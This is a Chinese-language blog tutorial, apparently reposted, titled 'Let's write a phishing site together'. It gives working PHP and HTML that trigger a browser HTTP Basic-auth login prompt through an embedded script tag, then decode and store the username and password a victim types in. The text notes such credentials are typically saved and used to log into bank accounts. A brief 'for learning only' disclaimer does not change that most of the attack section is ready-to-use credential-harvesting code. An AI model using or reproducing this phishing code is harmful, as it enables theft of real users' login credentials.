一塊兒來寫個釣魚站點

雖然這篇文章的標題是一塊兒來寫個釣魚的站點,可是但願僅僅把它看成飯後的談資就好,切不可在實際生活中真正的使用。否則,網絡警察到你家查你水錶的時候,我可不負責任啊。而實際上要真心作到對應的效果很難,只是做爲安全知識的入門學習。
閒話少說,仍是直接進入主題吧。這裏是須要實現的一些工具的清單:javascript

  • PHP 5.x及以上版本
  • 1個現代的瀏覽器,不要拿IE6這樣老古董的瀏覽器出來,會死人的
  • Apache仍是Nginx隨意,能用就好
  • 一款文本編輯器,好比記事本

工具都準備穩當了,那麼就直奔主題了哦。老司機要開車了,要坐好扶穩了。
在Web中釣魚的方式有不少方式,不過這個名字仍是源自生活,此時聯想到在長江邊垂釣的場景,滾滾長江東逝水...。
萬事俱備只欠東風,工具都準備好了,如今還缺的就是魚了。魚從哪裏來,天然就是從受害者身上謀取啦。而這裏咱們利用1種401認證的方式來釣魚。php

實現過程

首先,咱們新建1個index.php的腳本,其內容相似以下:html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>首頁</title>
</head>
<body>
    <h1>首頁</h1>
    <script type="text/javascript" src="test.php"></script>
</body>
</html>

內容簡單的很,實際上真正有用的就是這麼一行:前端

<script type="text/javascript" src="test.php"></script>

咱們使用腳本的方式異步請求php的1個腳本。搞技術的要求能觸類旁通,我見過一些信息安全人員,除了會寫POC外和使用一些工具外,對應的原理是一竅不懂的。甚至爲何能夠這樣作是一問三不知的。
不少人覺得黑客是羣很聰明的人,實際否則,不排除這裏面有一些所謂的腳本小子,成天覆制搞破壞的。
閒外話仍是少說,若是你以爲上面的script標籤有點礙眼,你徹底能夠換,好比換成link、img等標籤徹底都是能夠的。這就是觸類旁通的能力吧,畢竟真實場景中不多有恰好就那麼巧能夠被利用的。
test.php中的內容相似以下:java

<?php
if(array_key_exists('HTTP_AUTHORIZATION', $_SERVER)){
    session_start();
    $value = $_SERVER['HTTP_AUTHORIZATION'];
    $admin = base64_decode(substr($value, 6));
    $_SESSION['info'] = $admin;
}else{
    header("Content-type: text/html; charset=utf-8");
    header('WWW-Authenticate: Basic realm="Please enter your username and password!"');
}

咱們判斷當前服務器中是否存在鍵名HTTP_AUTHORIZATION,若是不存在則直接拋出1個401的認證請求頭。而瀏覽器獲取到該401狀態後,會自動彈出1個對話框要求使用者輸入用戶名和密碼。
若是使用者按照咱們劇情的安排輸入了用戶名和密碼,那麼咱們就成功釣到了1條(人)魚。
須要注意的是,這裏咱們使用的是Basci認證,而不是HTTP中另1個Digest的認證。否則到時傳遞過來的是MD5的結果,還須要花費時間解密,得不償失。
眼尖的你可能發現,咱們使用的是Base64解碼函數base64_decode。沒錯,Basic認證的用戶名和密碼會使用Base64進行編碼,直接獲取到其內容進行解碼便可,是否是很簡單。
在這裏,咱們將其存入到session中,以即可以在前端顯示,這樣就能夠看到效果了。而更多狀況下,是直接存儲到文件或數據庫中,接着搞很差就拿着這些帳號去登陸你的銀行卡。
爲了看出效果,咱們在index.php中添加以下幾行代碼:數據庫

<?php
session_start();
if(array_key_exists("info",$_SESSION)){
    $value = $_SESSION['info'];
    var_dump($value);
}
?>

演示過程

下面是演示的效果過程,首先是訪問首頁: 瀏覽器

圖片描述

而後入套,輸入本身的用戶名和密碼: 安全

圖片描述

魚上鉤了,被釣了起來: 服務器

last

結語

看到,你可能會罵娘了。這麼簡單的東西,搞得這麼神祕兮兮。
實際上,原理的東西老是很簡單的,重要是組合利用。若是讓本身隱匿的更深一些,還有更具誘惑性才能讓獵物上鉤。而釣魚的過程不就是利用以下幾個切入點:網絡

  • 誘餌味道作的很不錯
  • 魚鉤藏匿在誘餌裏面
  • 魚肚子餓了
  • 魚發現誘餌味道很不錯,就咬了一口

結果魚就上鉤了。而人之因此會被釣的過程主要仍是以下幾個狀況:

  • 用戶安全意識薄弱,過於盲目相信瀏覽器
  • 瀏覽器廠商相關安全沒有作好,導致用戶受害
  • 腳本小子頁面作的很不錯,真假難辨

固然不排除還有其餘一些狀況,實在想不出來了,腦洞過小。 固然上面這麼醜陋的網站,百分百是釣不到魚的。

相關文章
相關標籤/搜索